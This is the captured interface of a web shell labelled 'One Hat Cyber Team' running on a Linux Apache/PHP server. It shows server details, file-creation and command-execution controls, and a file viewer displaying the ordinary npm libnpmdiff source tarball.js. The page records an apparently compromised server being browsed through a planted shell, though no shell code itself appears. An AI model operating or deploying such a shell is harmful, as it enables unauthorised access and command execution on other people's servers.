⚝
One Hat Cyber Team
⚝
Your IP:
172.22.0.1
Server IP:
151.80.20.34
Server:
Linux 794f04d97d5e 5.15.0-143-generic #153-Ubuntu SMP Fri Jun 13 19:10:45 UTC 2025 x86_64
Server Software:
Apache/2.4.62 (Debian)
PHP Version:
8.2.28
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
proc
/
self
/
root
/
usr
/
share
/
nodejs
/
libnpmdiff
/
lib
/
View File Name :
tarball.js
const { relative } = require('path') const Arborist = require('@npmcli/arborist') const npa = require('npm-package-arg') const pkgContents = require('@npmcli/installed-package-contents') const pacote = require('pacote') const { tarCreateOptions } = pacote.DirFetcher const tar = require('tar') // returns a simplified tarball when reading files from node_modules folder, // thus avoiding running the prepare scripts and the extra logic from packlist const nodeModulesTarball = (manifest, opts) => pkgContents({ path: manifest._resolved, depth: 1 }) .then(files => files.map(file => relative(manifest._resolved, file)) ) .then(files => tar.c(tarCreateOptions(manifest), files).concat() ) const tarball = (manifest, opts) => { const resolved = manifest._resolved const where = opts.where || process.cwd() const fromNodeModules = npa(resolved).type === 'directory' && /node_modules[\\/](@[^\\/]+\/)?[^\\/]+[\\/]?$/.test(relative(where, resolved)) if (fromNodeModules) { return nodeModulesTarball(manifest, opts) } return pacote.tarball(manifest._resolved, { ...opts, Arborist, }) } module.exports = tarball